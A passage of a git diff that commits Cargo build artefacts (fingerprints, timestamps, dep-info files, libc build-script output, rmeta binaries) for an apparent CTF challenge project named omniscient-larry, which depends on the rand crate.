+{"rustc":16583506157668836161,"features":"[]","declared_features":"","target":11495017912646735805,"profile":11983525691607113661,"path":17523903030608720598,"deps":[[5910892534286594076,"rand",false,15568203654576713826]],"local":[{"CheckDepInfo":{"dep_info":"debug/.fingerprint/omniscient-larry-ce4753d375672c97/dep-test-lib-omniscient-larry"}}],"rustflags":[],"metadata":7797948686568424061,"config":2202906307356721367,"compile_kind":0} \ No newline at end of file diff --git a/amateurs2024/algo/omniscient-larry/target/debug/.fingerprint/omniscient-larry-e41461ec5d26a874/bin-omniscient-larry b/amateurs2024/algo/omniscient-larry/target/debug/.fingerprint/omniscient-larry-e41461ec5d26a874/bin-omniscient-larry new file mode 100644 index 00000000..e69de29b diff --git a/amateurs2024/algo/omniscient-larry/target/debug/.fingerprint/omniscient-larry-e41461ec5d26a874/bin-omniscient-larry.json b/amateurs2024/algo/omniscient-larry/target/debug/.fingerprint/omniscient-larry-e41461ec5d26a874/bin-omniscient-larry.json new file mode 100644 index 00000000..d9932ce3 --- /dev/null +++ b/amateurs2024/algo/omniscient-larry/target/debug/.fingerprint/omniscient-larry-e41461ec5d26a874/bin-omniscient-larry.json @@ -0,0 +1 @@ +{"rustc":16583506157668836161,"features":"[]","declared_features":"","target":4224412900453513317,"profile":5601947868832436996,"path":1684066648322511884,"deps":[[5910892534286594076,"rand",false,15568203654576713826],[8090238762093580911,"omniscient_larry",false,816143219326226141]],"local":[{"CheckDepInfo":{"dep_info":"debug/.fingerprint/omniscient-larry-e41461ec5d26a874/dep-bin-omniscient-larry"}}],"rustflags":[],"metadata":7797948686568424061,"config":2202906307356721367,"compile_kind":0} \ No newline at end of file diff --git a/amateurs2024/algo/omniscient-larry/target/debug/.fingerprint/omniscient-larry-e41461ec5d26a874/invoked.timestamp b/amateurs2024/algo/omniscient-larry/target/debug/.fingerprint/omniscient-larry-e41461ec5d26a874/invoked.timestamp new file mode 100644 index 00000000..e00328da --- /dev/null +++ b/amateurs2024/algo/omniscient-larry/target/debug/.fingerprint/omniscient-larry-e41461ec5d26a874/invoked.timestamp @@ -0,0 +1 @@ +This file has an mtime of when this was started. \ No newline at end of file diff --git a/amateurs2024/algo/omniscient-larry/target/debug/.fingerprint/ppv-lite86-b7a9ce29d15aa227/dep-lib-ppv-lite86 b/amateurs2024/algo/omniscient-larry/target/debug/.fingerprint/ppv-lite86-b7a9ce29d15aa227/dep-lib-ppv-lite86 new file mode 100644 index 00000000..1b1cb4d4 Binary files /dev/null and b/amateurs2024/algo/omniscient-larry/target/debug/.fingerprint/ppv-lite86-b7a9ce29d15aa227/dep-lib-ppv-lite86 differ diff --git a/amateurs2024/algo/omniscient-larry/target/debug/.fingerprint/ppv-lite86-b7a9ce29d15aa227/invoked.timestamp b/amateurs2024/algo/omniscient-larry/target/debug/.fingerprint/ppv-lite86-b7a9ce29d15aa227/invoked.timestamp new file mode 100644 index 00000000..e00328da --- /dev/null +++ b/amateurs2024/algo/omniscient-larry/target/debug/.fingerprint/ppv-lite86-b7a9ce29d15aa227/invoked.timestamp @@ -0,0 +1 @@ +This file has an mtime of when this was started. \ No newline at end of file diff --git a/amateurs2024/algo/omniscient-larry/target/debug/.fingerprint/ppv-lite86-b7a9ce29d15aa227/lib-ppv-lite86 b/amateurs2024/algo/omniscient-larry/target/debug/.fingerprint/ppv-lite86-b7a9ce29d15aa227/lib-ppv-lite86 new file mode 100644 index 00000000..f1bf2f20 --- /dev/null +++ b/amateurs2024/algo/omniscient-larry/target/debug/.fingerprint/ppv-lite86-b7a9ce29d15aa227/lib-ppv-lite86 @@ -0,0 +1 @@ +e30d3ae19ce5670e \ No newline at end of file diff --git a/amateurs2024/algo/omniscient-larry/target/debug/.fingerprint/ppv-lite86-b7a9ce29d15aa227/lib-ppv-lite86.json b/amateurs2024/algo/omniscient-larry/target/debug/.fingerprint/ppv-lite86-b7a9ce29d15aa227/lib-ppv-lite86.json new file mode 100644 index 00000000..c8234001 --- /dev/null +++ b/amateurs2024/algo/omniscient-larry/target/debug/.fingerprint/ppv-lite86-b7a9ce29d15aa227/lib-ppv-lite86.json @@ -0,0 +1 @@ +{"rustc":16583506157668836161,"features":"[\"simd\", \"std\"]","declared_features":"","target":602634026009422966,"profile":10243973527296709326,"path":15484332557397823096,"deps":[],"local":[{"CheckDepInfo":{"dep_info":"debug/.fingerprint/ppv-lite86-b7a9ce29d15aa227/dep-lib-ppv-lite86"}}],"rustflags":[],"metadata":14155036307809790115,"config":2202906307356721367,"compile_kind":0} \ No newline at end of file diff --git a/amateurs2024/algo/omniscient-larry/target/debug/.fingerprint/rand-7d934e47707a6b14/dep-lib-rand b/amateurs2024/algo/omniscient-larry/target/debug/.fingerprint/rand-7d934e47707a6b14/dep-lib-rand new file mode 100644 index 00000000..1b1cb4d4 Binary files /dev/null and b/amateurs2024/algo/omniscient-larry/target/debug/.fingerprint/rand-7d934e47707a6b14/dep-lib-rand differ diff --git a/amateurs2024/algo/omniscient-larry/target/debug/.fingerprint/rand-7d934e47707a6b14/invoked.timestamp b/amateurs2024/algo/omniscient-larry/target/debug/.fingerprint/rand-7d934e47707a6b14/invoked.timestamp new file mode 100644 index 00000000..e00328da --- /dev/null +++ b/amateurs2024/algo/omniscient-larry/target/debug/.fingerprint/rand-7d934e47707a6b14/invoked.timestamp @@ -0,0 +1 @@ +This file has an mtime of when this was started. \ No newline at end of file diff --git a/amateurs2024/algo/omniscient-larry/target/debug/.fingerprint/rand-7d934e47707a6b14/lib-rand b/amateurs2024/algo/omniscient-larry/target/debug/.fingerprint/rand-7d934e47707a6b14/lib-rand new file mode 100644 index 00000000..dad3bb6c --- /dev/null +++ b/amateurs2024/algo/omniscient-larry/target/debug/.fingerprint/rand-7d934e47707a6b14/lib-rand @@ -0,0 +1 @@ +62b0fb6dbd5e0dd8 \ No newline at end of file diff --git a/amateurs2024/algo/omniscient-larry/target/debug/.fingerprint/rand-7d934e47707a6b14/lib-rand.json b/amateurs2024/algo/omniscient-larry/target/debug/.fingerprint/rand-7d934e47707a6b14/lib-rand.json new file mode 100644 index 00000000..276b24b1 --- /dev/null +++ b/amateurs2024/algo/omniscient-larry/target/debug/.fingerprint/rand-7d934e47707a6b14/lib-rand.json @@ -0,0 +1 @@ +{"rustc":16583506157668836161,"features":"[\"alloc\", \"default\", \"getrandom\", \"libc\", \"rand_chacha\", \"std\", \"std_rng\"]","declared_features":"","target":17786277519600763311,"profile":10243973527296709326,"path":14268380069199643891,"deps":[[1565494060434293766,"rand_core",false,4923147555399004130],[11943424025318460506,"libc",false,4617346310724056517],[12017018019769837221,"rand_chacha",false,17055345310783595780]],"local":[{"CheckDepInfo":{"dep_info":"debug/.fingerprint/rand-7d934e47707a6b14/dep-lib-rand"}}],"rustflags":[],"metadata":16964019146302480911,"config":2202906307356721367,"compile_kind":0} \ No newline at end of file diff --git a/amateurs2024/algo/omniscient-larry/target/debug/.fingerprint/rand_chacha-2de5510f5a71c7be/dep-lib-rand_chacha b/amateurs2024/algo/omniscient-larry/target/debug/.fingerprint/rand_chacha-2de5510f5a71c7be/dep-lib-rand_chacha new file mode 100644 index 00000000..1b1cb4d4 Binary files /dev/null and b/amateurs2024/algo/omniscient-larry/target/debug/.fingerprint/rand_chacha-2de5510f5a71c7be/dep-lib-rand_chacha differ diff --git a/amateurs2024/algo/omniscient-larry/target/debug/.fingerprint/rand_chacha-2de5510f5a71c7be/invoked.timestamp b/amateurs2024/algo/omniscient-larry/target/debug/.fingerprint/rand_chacha-2de5510f5a71c7be/invoked.timestamp new file mode 100644 index 00000000..e00328da --- /dev/null +++ b/amateurs2024/algo/omniscient-larry/target/debug/.fingerprint/rand_chacha-2de5510f5a71c7be/invoked.timestamp @@ -0,0 +1 @@ +This file has an mtime of when this was started. \ No newline at end of file diff --git a/amateurs2024/algo/omniscient-larry/target/debug/.fingerprint/rand_chacha-2de5510f5a71c7be/lib-rand_chacha b/amateurs2024/algo/omniscient-larry/target/debug/.fingerprint/rand_chacha-2de5510f5a71c7be/lib-rand_chacha new file mode 100644 index 00000000..7c92dae0 --- /dev/null +++ b/amateurs2024/algo/omniscient-larry/target/debug/.fingerprint/rand_chacha-2de5510f5a71c7be/lib-rand_chacha @@ -0,0 +1 @@ +0465e17232c2b0ec \ No newline at end of file diff --git a/amateurs2024/algo/omniscient-larry/target/debug/.fingerprint/rand_chacha-2de5510f5a71c7be/lib-rand_chacha.json b/amateurs2024/algo/omniscient-larry/target/debug/.fingerprint/rand_chacha-2de5510f5a71c7be/lib-rand_chacha.json new file mode 100644 index 00000000..6c505476 --- /dev/null +++ b/amateurs2024/algo/omniscient-larry/target/debug/.fingerprint/rand_chacha-2de5510f5a71c7be/lib-rand_chacha.json @@ -0,0 +1 @@ +{"rustc":16583506157668836161,"features":"[\"std\"]","declared_features":"","target":3291831172522752161,"profile":10243973527296709326,"path":750662207624122142,"deps":[[1565494060434293766,"rand_core",false,4923147555399004130],[4511957894497802922,"ppv_lite86",false,1038050701088525795]],"local":[{"CheckDepInfo":{"dep_info":"debug/.fingerprint/rand_chacha-2de5510f5a71c7be/dep-lib-rand_chacha"}}],"rustflags":[],"metadata":2235018391756195449,"config":2202906307356721367,"compile_kind":0} \ No newline at end of file diff --git a/amateurs2024/algo/omniscient-larry/target/debug/.fingerprint/rand_core-a3d54a15ddb32d1a/dep-lib-rand_core b/amateurs2024/algo/omniscient-larry/target/debug/.fingerprint/rand_core-a3d54a15ddb32d1a/dep-lib-rand_core new file mode 100644 index 00000000..1b1cb4d4 Binary files /dev/null and b/amateurs2024/algo/omniscient-larry/target/debug/.fingerprint/rand_core-a3d54a15ddb32d1a/dep-lib-rand_core differ diff --git a/amateurs2024/algo/omniscient-larry/target/debug/.fingerprint/rand_core-a3d54a15ddb32d1a/invoked.timestamp b/amateurs2024/algo/omniscient-larry/target/debug/.fingerprint/rand_core-a3d54a15ddb32d1a/invoked.timestamp new file mode 100644 index 00000000..e00328da --- /dev/null +++ b/amateurs2024/algo/omniscient-larry/target/debug/.fingerprint/rand_core-a3d54a15ddb32d1a/invoked.timestamp @@ -0,0 +1 @@ +This file has an mtime of when this was started. \ No newline at end of file diff --git a/amateurs2024/algo/omniscient-larry/target/debug/.fingerprint/rand_core-a3d54a15ddb32d1a/lib-rand_core b/amateurs2024/algo/omniscient-larry/target/debug/.fingerprint/rand_core-a3d54a15ddb32d1a/lib-rand_core new file mode 100644 index 00000000..bfc3cbde --- /dev/null +++ b/amateurs2024/algo/omniscient-larry/target/debug/.fingerprint/rand_core-a3d54a15ddb32d1a/lib-rand_core @@ -0,0 +1 @@ +e2ef63209e885244 \ No newline at end of file diff --git a/amateurs2024/algo/omniscient-larry/target/debug/.fingerprint/rand_core-a3d54a15ddb32d1a/lib-rand_core.json b/amateurs2024/algo/omniscient-larry/target/debug/.fingerprint/rand_core-a3d54a15ddb32d1a/lib-rand_core.json new file mode 100644 index 00000000..39462b2f --- /dev/null +++ b/amateurs2024/algo/omniscient-larry/target/debug/.fingerprint/rand_core-a3d54a15ddb32d1a/lib-rand_core.json @@ -0,0 +1 @@ +{"rustc":16583506157668836161,"features":"[\"alloc\", \"getrandom\", \"std\"]","declared_features":"","target":3042383198953219556,"profile":10243973527296709326,"path":1435031130385470561,"deps":[[17659347066757726817,"getrandom",false,4805877999470057189]],"local":[{"CheckDepInfo":{"dep_info":"debug/.fingerprint/rand_core-a3d54a15ddb32d1a/dep-lib-rand_core"}}],"rustflags":[],"metadata":3275543247315060703,"config":2202906307356721367,"compile_kind":0} \ No newline at end of file diff --git a/amateurs2024/algo/omniscient-larry/target/debug/build/libc-5a66e0ec468c01fc/build-script-build b/amateurs2024/algo/omniscient-larry/target/debug/build/libc-5a66e0ec468c01fc/build-script-build new file mode 100755 index 00000000..303c7346 Binary files /dev/null and b/amateurs2024/algo/omniscient-larry/target/debug/build/libc-5a66e0ec468c01fc/build-script-build differ diff --git a/amateurs2024/algo/omniscient-larry/target/debug/build/libc-5a66e0ec468c01fc/build_script_build-5a66e0ec468c01fc b/amateurs2024/algo/omniscient-larry/target/debug/build/libc-5a66e0ec468c01fc/build_script_build-5a66e0ec468c01fc new file mode 100755 index 00000000..303c7346 Binary files /dev/null and b/amateurs2024/algo/omniscient-larry/target/debug/build/libc-5a66e0ec468c01fc/build_script_build-5a66e0ec468c01fc differ diff --git a/amateurs2024/algo/omniscient-larry/target/debug/build/libc-5a66e0ec468c01fc/build_script_build-5a66e0ec468c01fc.d b/amateurs2024/algo/omniscient-larry/target/debug/build/libc-5a66e0ec468c01fc/build_script_build-5a66e0ec468c01fc.d new file mode 100644 index 00000000..b797e63a --- /dev/null +++ b/amateurs2024/algo/omniscient-larry/target/debug/build/libc-5a66e0ec468c01fc/build_script_build-5a66e0ec468c01fc.d @@ -0,0 +1,5 @@ +/home/nullchilly/code/git/ctf/amateurs2024/algo/omniscient-larry/target/debug/build/libc-5a66e0ec468c01fc/build_script_build-5a66e0ec468c01fc: /home/nullchilly/.cargo/registry/src/index.crates.io-6f17d22bba15001f/libc-0.2.153/build.rs + +/home/nullchilly/code/git/ctf/amateurs2024/algo/omniscient-larry/target/debug/build/libc-5a66e0ec468c01fc/build_script_build-5a66e0ec468c01fc.d: /home/nullchilly/.cargo/registry/src/index.crates.io-6f17d22bba15001f/libc-0.2.153/build.rs + +/home/nullchilly/.cargo/registry/src/index.crates.io-6f17d22bba15001f/libc-0.2.153/build.rs: diff --git a/amateurs2024/algo/omniscient-larry/target/debug/build/libc-7285af9313130a67/invoked.timestamp b/amateurs2024/algo/omniscient-larry/target/debug/build/libc-7285af9313130a67/invoked.timestamp new file mode 100644 index 00000000..e00328da --- /dev/null +++ b/amateurs2024/algo/omniscient-larry/target/debug/build/libc-7285af9313130a67/invoked.timestamp @@ -0,0 +1 @@ +This file has an mtime of when this was started. \ No newline at end of file diff --git a/amateurs2024/algo/omniscient-larry/target/debug/build/libc-7285af9313130a67/output b/amateurs2024/algo/omniscient-larry/target/debug/build/libc-7285af9313130a67/output new file mode 100644 index 00000000..8963b6de --- /dev/null +++ b/amateurs2024/algo/omniscient-larry/target/debug/build/libc-7285af9313130a67/output @@ -0,0 +1,16 @@ +cargo:rerun-if-changed=build.rs +cargo:rustc-cfg=freebsd11 +cargo:rustc-cfg=emscripten_new_stat_abi +cargo:rustc-cfg=libc_priv_mod_use +cargo:rustc-cfg=libc_union +cargo:rustc-cfg=libc_const_size_of +cargo:rustc-cfg=libc_align +cargo:rustc-cfg=libc_int128 +cargo:rustc-cfg=libc_core_cvoid +cargo:rustc-cfg=libc_packedN +cargo:rustc-cfg=libc_cfg_target_vendor +cargo:rustc-cfg=libc_non_exhaustive +cargo:rustc-cfg=libc_long_array +cargo:rustc-cfg=libc_ptr_addr_of +cargo:rustc-cfg=libc_underscore_const_names +cargo:rustc-cfg=libc_const_extern_fn diff --git a/amateurs2024/algo/omniscient-larry/target/debug/build/libc-7285af9313130a67/root-output b/amateurs2024/algo/omniscient-larry/target/debug/build/libc-7285af9313130a67/root-output new file mode 100644 index 00000000..9942a8c1 --- /dev/null +++ b/amateurs2024/algo/omniscient-larry/target/debug/build/libc-7285af9313130a67/root-output @@ -0,0 +1 @@ +/home/nullchilly/code/git/ctf/amateurs2024/algo/omniscient-larry/target/debug/build/libc-7285af9313130a67/out \ No newline at end of file diff --git a/amateurs2024/algo/omniscient-larry/target/debug/build/libc-7285af9313130a67/stderr b/amateurs2024/algo/omniscient-larry/target/debug/build/libc-7285af9313130a67/stderr new file mode 100644 index 00000000..e69de29b diff --git a/amateurs2024/algo/omniscient-larry/target/debug/deps/cfg_if-eec010fb472fdca6.d b/amateurs2024/algo/omniscient-larry/target/debug/deps/cfg_if-eec010fb472fdca6.d new file mode 100644 index 00000000..3b1bc102 --- /dev/null +++ b/amateurs2024/algo/omniscient-larry/target/debug/deps/cfg_if-eec010fb472fdca6.d @@ -0,0 +1,5 @@ +/home/nullchilly/code/git/ctf/amateurs2024/algo/omniscient-larry/target/debug/deps/libcfg_if-eec010fb472fdca6.rmeta: /home/nullchilly/.cargo/registry/src/index.crates.io-6f17d22bba15001f/cfg-if-1.0.0/src/lib.rs + +/home/nullchilly/code/git/ctf/amateurs2024/algo/omniscient-larry/target/debug/deps/cfg_if-eec010fb472fdca6.d: /home/nullchilly/.cargo/registry/src/index.crates.io-6f17d22bba15001f/cfg-if-1.0.0/src/lib.rs + +/home/nullchilly/.cargo/registry/src/index.crates.io-6f17d22bba15001f/cfg-if-1.0.0/src/lib.rs: diff --git a/amateurs2024/algo/omniscient-larry/target/debug/deps/getrandom-0d7503264e2fee6a.d b/amateurs2024/algo/omniscient-larry/target/debug/deps/getrandom-0d7503264e2fee6a.d new file mode 100644 index 00000000..9faedfb3 --- /dev/null +++ b/amateurs2024/algo/omniscient-larry/target/debug/deps/getrandom-0d7503264e2fee6a.d @@ -0,0 +1,12 @@ +/home/nullchilly/code/git/ctf/amateurs2024/algo/omniscient-larry/target/debug/deps/libgetrandom-0d7503264e2fee6a.rmeta: /home/nullchilly/.cargo/registry/src/index.crates.io-6f17d22bba15001f/getrandom-0.2.13/src/lib.rs /home/nullchilly/.cargo/registry/src/index.crates.io-6f17d22bba15001f/getrandom-0.2.13/src/error.rs /home/nullchilly/.cargo/registry/src/index.crates.io-6f17d22bba15001f/getrandom-0.2.13/src/util.rs /home/nullchilly/.cargo/registry/src/index.crates.io-6f17d22bba15001f/getrandom-0.2.13/src/error_impls.rs /home/nullchilly/.cargo/registry/src/index.crates.io-6f17d22bba15001f/getrandom-0.2.13/src/util_libc.rs /home/nullchilly/.cargo/registry/src/index.crates.io-6f17d22bba15001f/getrandom-0.2.13/src/use_file.rs /home/nullchilly/.cargo/registry/src/index.crates.io-6f17d22bba15001f/getrandom-0.2.13/src/lazy.rs /home/nullchilly/.cargo/registry/src/index.crates.io-6f17d22bba15001f/getrandom-0.2.13/src/linux_android_with_fallback.rs + +/home/nullchilly/code/git/ctf/amateurs2024/algo/omniscient-larry/target/debug/deps/getrandom-0d7503264e2fee6a.d: /home/nullchilly/.cargo/registry/src/index.crates.io-6f17d22bba15001f/getrandom-0.2.13/src/lib.rs /home/nullchilly/.cargo/registry/src/index.crates.io-6f17d22bba15001f/getrandom-0.2.13/src/error.rs /home/nullchilly/.cargo/registry/src/index.crates.io-6f17d22bba15001f/getrandom-0.2.13/src/util.rs /home/nullchilly/.cargo/registry/src/index.crates.io-6f17d22bba15001f/getrandom-0.2.13/src/error_impls.rs /home/nullchilly/.cargo/registry/src/index.crates.io-6f17d22bba15001f/getrandom-0.2.13/src/util_libc.rs /home/nullchilly/.cargo/registry/src/index.crates.io-6f17d22bba15001f/getrandom-0.2.13/src/use_file.rs /home/nullchilly/.cargo/registry/src/index.crates.io-6f17d22bba15001f/getrandom-0.2.13/src/lazy.rs /home/nullchilly/.cargo/registry/src/index.crates.io-6f17d22bba15001f/getrandom-0.2.13/src/linux_android_with_fallback.rs + +/home/nullchilly/.cargo/registry/src/index.crates.io-6f17d22bba15001f/getrandom-0.2.13/src/lib.rs: +/home/nullchilly/.cargo/registry/src/index.crates.io-6f17d22bba15001f/getrandom-0.2.13/src/error.rs: +/home/nullchilly/.cargo/registry/src/index.crates.io-6f17d22bba15001f/getrandom-0.2.13/src/util.rs: +/home/nullchilly/.cargo/registry/src/index.crates.io-6f17d22bba15001f/getrandom-0.2.13/src/error_impls.rs: +/home/nullchilly/.cargo/registry/src/index.crates.io-6f17d22bba15001f/getrandom-0.2.13/src/util_libc.rs: +/home/nullchilly/.cargo/registry/src/index.crates.io-6f17d22bba15001f/getrandom-0.2.13/src/use_file.rs: +/home/nullchilly/.cargo/registry/src/index.crates.io-6f17d22bba15001f/getrandom-0.2.13/src/lazy.rs: +/home/nullchilly/.cargo/registry/src/index.crates.io-6f17d22bba15001f/getrandom-0.2.13/src/linux_android_with_fallback.rs: diff --git a/amateurs2024/algo/omniscient-larry/target/debug/deps/libc-33740f5b1d45b05d.d b/amateurs2024/algo/omniscient-larry/target/debug/deps/libc-33740f5b1d45b05d.d new file mode 100644 index 00000000..7be9a7e6 --- /dev/null +++ b/amateurs2024/algo/omniscient-larry/target/debug/deps/libc-33740f5b1d45b05d.d @@ -0,0 +1,21 @@ +/home/nullchilly/code/git/ctf/amateurs2024/algo/omniscient-larry/target/debug/deps/liblibc-33740f5b1d45b05d.rmeta: /home/nullchilly/.cargo/registry/src/index.crates.io-6f17d22bba15001f/libc-0.2.153/src/lib.rs /home/nullchilly/.cargo/registry/src/index.crates.io-6f17d22bba15001f/libc-0.2.153/src/macros.rs /home/nullchilly/.cargo/registry/src/index.crates.io-6f17d22bba15001f/libc-0.2.153/src/fixed_width_ints.rs /home/nullchilly/.cargo/registry/src/index.crates.io-6f17d22bba15001f/libc-0.2.153/src/unix/mod.rs /home/nullchilly/.cargo/registry/src/index.crates.io-6f17d22bba15001f/libc-0.2.153/src/unix/linux_like/mod.rs /home/nullchilly/.cargo/registry/src/index.crates.io-6f17d22bba15001f/libc-0.2.153/src/unix/linux_like/linux/mod.rs /home/nullchilly/.cargo/registry/src/index.crates.io-6f17d22bba15001f/libc-0.2.153/src/unix/linux_like/linux/arch/mod.rs /home/nullchilly/.cargo/registry/src/index.crates.io-6f17d22bba15001f/libc-0.2.153/src/unix/linux_like/linux/gnu/mod.rs /home/nullchilly/.cargo/registry/src/index.crates.io-6f17d22bba15001f/libc-0.2.153/src/unix/linux_like/linux/gnu/b64/mod.rs /home/nullchilly/.cargo/registry/src/index.crates.io-6f17d22bba15001f/libc-0.2.153/src/unix/linux_like/linux/gnu/b64/x86_64/mod.rs /home/nullchilly/.cargo/registry/src/index.crates.io-6f17d22bba15001f/libc-0.2.153/src/unix/linux_like/linux/gnu/b64/x86_64/not_x32.rs /home/nullchilly/.cargo/registry/src/index.crates.io-6f17d22bba15001f/libc-0.2.153/src/unix/linux_like/linux/gnu/b64/x86_64/align.rs /home/nullchilly/.cargo/registry/src/index.crates.io-6f17d22bba15001f/libc-0.2.153/src/unix/linux_like/linux/gnu/align.rs /home/nullchilly/.cargo/registry/src/index.crates.io-6f17d22bba15001f/libc-0.2.153/src/unix/linux_like/linux/arch/generic/mod.rs /home/nullchilly/.cargo/registry/src/index.crates.io-6f17d22bba15001f/libc-0.2.153/src/unix/linux_like/linux/align.rs /home/nullchilly/.cargo/registry/src/index.crates.io-6f17d22bba15001f/libc-0.2.153/src/unix/linux_like/linux/non_exhaustive.rs /home/nullchilly/.cargo/registry/src/index.crates.io-6f17d22bba15001f/libc-0.2.153/src/unix/align.rs + +/home/nullchilly/code/git/ctf/amateurs2024/algo/omniscient-larry/target/debug/deps/libc-33740f5b1d45b05d.d: /home/nullchilly/.cargo/registry/src/index.crates.io-6f17d22bba15001f/libc-0.2.153/src/lib.rs /home/nullchilly/.cargo/registry/src/index.crates.io-6f17d22bba15001f/libc-0.2.153/src/macros.rs /home/nullchilly/.cargo/registry/src/index.crates.io-6f17d22bba15001f/libc-0.2.153/src/fixed_width_ints.rs /home/nullchilly/.cargo/registry/src/index.crates.io-6f17d22bba15001f/libc-0.2.153/src/unix/mod.rs /home/nullchilly/.cargo/registry/src/index.crates.io-6f17d22bba15001f/libc-0.2.153/src/unix/linux_like/mod.rs /home/nullchilly/.cargo/registry/src/index.crates.io-6f17d22bba15001f/libc-0.2.153/src/unix/linux_like/linux/mod.rs /home/nullchilly/.cargo/registry/src/index.crates.io-6f17d22bba15001f/libc-0.2.153/src/unix/linux_like/linux/arch/mod.rs /home/nullchilly/.cargo/registry/src/index.crates.io-6f17d22bba15001f/libc-0.2.153/src/unix/linux_like/linux/gnu/mod.rs /home/nullchilly/.cargo/registry/src/index.crates.io-6f17d22bba15001f/libc-0.2.153/src/unix/linux_like/linux/gnu/b64/mod.rs /home/nullchilly/.cargo/registry/src/index.crates.io-6f17d22bba15001f/libc-0.2.153/src/unix/linux_like/linux/gnu/b64/x86_64/mod.rs /home/nullchilly/.cargo/registry/src/index.crates.io-6f17d22bba15001f/libc-0.2.153/src/unix/linux_like/linux/gnu/b64/x86_64/not_x32.rs /home/nullchilly/.cargo/registry/src/index.crates.io-6f17d22bba15001f/libc-0.2.153/src/unix/linux_like/linux/gnu/b64/x86_64/align.rs /home/nullchilly/.cargo/registry/src/index.crates.io-6f17d22bba15001f/libc-0.2.153/src/unix/linux_like/linux/gnu/align.rs /home/nullchilly/.cargo/registry/src/index.crates.io-6f17d22bba15001f/libc-0.2.153/src/unix/linux_like/linux/arch/generic/mod.rs /home/nullchilly/.cargo/registry/src/index.crates.io-6f17d22bba15001f/libc-0.2.153/src/unix/linux_like/linux/align.rs /home/nullchilly/.cargo/registry/src/index.crates.io-6f17d22bba15001f/libc-0.2.153/src/unix/linux_like/linux/non_exhaustive.rs /home/nullchilly/.cargo/registry/src/index.crates.io-6f17d22bba15001f/libc-0.2.153/src/unix/align.rs + +/home/nullchilly/.cargo/registry/src/index.crates.io-6f17d22bba15001f/libc-0.2.153/src/lib.rs: +/home/nullchilly/.cargo/registry/src/index.crates.io-6f17d22bba15001f/libc-0.2.153/src/macros.rs: +/home/nullchilly/.cargo/registry/src/index.crates.io-6f17d22bba15001f/libc-0.2.153/src/fixed_width_ints.rs: +/home/nullchilly/.cargo/registry/src/index.crates.io-6f17d22bba15001f/libc-0.2.153/src/unix/mod.rs: +/home/nullchilly/.cargo/registry/src/index.crates.io-6f17d22bba15001f/libc-0.2.153/src/unix/linux_like/mod.rs: +/home/nullchilly/.cargo/registry/src/index.crates.io-6f17d22bba15001f/libc-0.2.153/src/unix/linux_like/linux/mod.rs: +/home/nullchilly/.cargo/registry/src/index.crates.io-6f17d22bba15001f/libc-0.2.153/src/unix/linux_like/linux/arch/mod.rs: +/home/nullchilly/.cargo/registry/src/index.crates.io-6f17d22bba15001f/libc-0.2.153/src/unix/linux_like/linux/gnu/mod.rs: +/home/nullchilly/.cargo/registry/src/index.crates.io-6f17d22bba15001f/libc-0.2.153/src/unix/linux_like/linux/gnu/b64/mod.rs: +/home/nullchilly/.cargo/registry/src/index.crates.io-6f17d22bba15001f/libc-0.2.153/src/unix/linux_like/linux/gnu/b64/x86_64/mod.rs: +/home/nullchilly/.cargo/registry/src/index.crates.io-6f17d22bba15001f/libc-0.2.153/src/unix/linux_like/linux/gnu/b64/x86_64/not_x32.rs: +/home/nullchilly/.cargo/registry/src/index.crates.io-6f17d22bba15001f/libc-0.2.153/src/unix/linux_like/linux/gnu/b64/x86_64/align.rs: +/home/nullchilly/.cargo/registry/src/index.crates.io-6f17d22bba15001f/libc-0.2.153/src/unix/linux_like/linux/gnu/align.rs: +/home/nullchilly/.cargo/registry/src/index.crates.io-6f17d22bba15001f/libc-0.2.153/src/unix/linux_like/linux/arch/generic/mod.rs: +/home/nullchilly/.cargo/registry/src/index.crates.io-6f17d22bba15001f/libc-0.2.153/src/unix/linux_like/linux/align.rs: +/home/nullchilly/.cargo/registry/src/index.crates.io-6f17d22bba15001f/libc-0.2.153/src/unix/linux_like/linux/non_exhaustive.rs: +/home/nullchilly/.cargo/registry/src/index.crates.io-6f17d22bba15001f/libc-0.2.153/src/unix/align.rs: diff --git a/amateurs2024/algo/omniscient-larry/target/debug/deps/libcfg_if-eec010fb472fdca6.rmeta b/amateurs2024/algo/omniscient-larry/target/debug/deps/libcfg_if-eec010fb472fdca6.rmeta new file mode 100644 index 00000000..815dc1ef Binary files /dev/null and b/amateurs2024/algo/omniscient-larry/target/debug/deps/libcfg_if-eec010fb472fdca6.rmeta differ diff --git a/amateurs2024/algo/omniscient-larry/target/debug/deps/libgetrandom-0d7503264e2fee6a.rmeta b/amateurs2024/algo/omniscient-larry/target/debug/deps/libgetrandom-0d7503264e2fee6a.rmeta new file mode 100644 index 00000000..d9cff019 Binary files /dev/null and b/amateurs2024/algo/omniscient-larry/target/debug/deps/libgetrandom-0d7503264e2fee6a.rmeta differ diff --git a/amateurs2024/algo/omniscient-larry/target/debug/deps/liblibc-33740f5b1d45b05d.rmeta b/amateurs2024/algo/omniscient-larry/target/debug/deps/liblibc-33740f5b1d45b05d.rmeta new file mode 100644 index 00000000..77b82eb2 Binary files /dev/null and b/amateurs2024/algo/omniscient-larry/target/debug/deps/liblibc-33740f5b1d45b05d.rmeta differ diff --git a/amateurs2024/algo/omniscient-larry/target/debug/deps/libppv_lite86-b7a9ce29d15aa227.rmeta b/amateurs2024/algo/omniscient-larry/target/debug/deps/libppv_lite86-b7a9ce29d15aa227.rmeta new file mode 100644 index 00000000..48279fbc Binary files /dev/null and b/amateurs2024/algo/omniscient-larry/target/debug/deps/libppv_lite86-b7a9ce29d15aa227.rmeta differ diff --git a/amateurs2024/algo/omniscient-larry/target/debug/deps/librand-7d934e47707a6b14.rmeta b/amateurs2024/algo/omniscient-larry/target/debug/deps/librand-7d934e47707a6b14.rmeta new file mode 100644 index 00000000..d6fc601a Binary files /dev/null and b/amateurs2024/algo/omniscient-larry/target/debug/deps/librand-7d934e47707a6b14.rmeta differ diff --git a/amateurs2024/algo/omniscient-larry/target/debug/deps/librand_chacha-2de5510f5a71c7be.rmeta b/amateurs2024/algo/omniscient-larry/target/debug/deps/librand_chacha-2de5510f5a71c7be.rmeta new file mode 100644 index 00000000..33b04c6a Binary files /dev/null and b/amateurs2024/algo/omniscient-larry/target/debug/deps/librand_chacha-2de5510f5a71c7be.rmeta differ diff --git a/amateurs2024/algo/omniscient-larry/target/debug/deps/librand_core-a3d54a15ddb32d1a.rmeta b/amateurs2024/algo/omniscient-larry/target/debug/deps/librand_core-a3d54a15ddb32d1a.rmeta new file mode 100644 index 00000000..4c6654b1 Binary files /dev/null and b/amateurs2024/algo/omniscient-larry/target/debug/deps/librand_core-a3d54a15ddb32d1a.rmeta differ diff --git 